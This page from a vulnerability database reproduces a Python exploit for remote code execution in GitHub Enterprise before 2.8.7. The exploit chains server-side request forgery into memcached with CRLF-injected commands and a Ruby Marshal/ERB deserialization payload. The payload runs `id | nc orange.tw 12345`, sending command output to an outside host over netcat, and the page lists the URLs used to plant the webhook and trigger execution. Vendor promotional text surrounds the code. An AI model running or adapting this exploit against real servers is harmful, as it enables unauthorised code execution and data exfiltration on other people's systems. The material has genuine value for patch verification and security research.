Lucene search
K

GitHub Enterprise < 2.8.7 - Remote Code Execution Exploit

🗓️ 29 Jul 2017 00:00:00Reported by orangeType 
zdt
 zdt
🔗 0day.today👁 29 Views

GitHub Enterprise < 2.8.7 Remote Code Execution Exploi

Code
#!/usr/bin/python
from urllib import quote
 
''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\[email protected]" + "o"+":\x08ERB"+"\x07" + ":\[email protected]" + Marshal.dump(code)[2..-1] + ":\[email protected]"+ "i\x00" + ":\[email protected]"+":\x0Bresult"
'''
marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\[email protected]:\x08ERB\x07:\[email protected]"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\[email protected]\x00:\[email protected]:\x0bresult'
 
payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    ''
]
 
payload = map(quote, payload)
url = 'http://0:8000/composer/[email protected]&url=http://127.0.0.1:11211/'
 
print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by [email protected]"
print '-'*10 + '\n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks
 
Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''

#  0day.today [2018-02-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2017 00:00Current
7.1High risk
Vulners AI Score7.1
29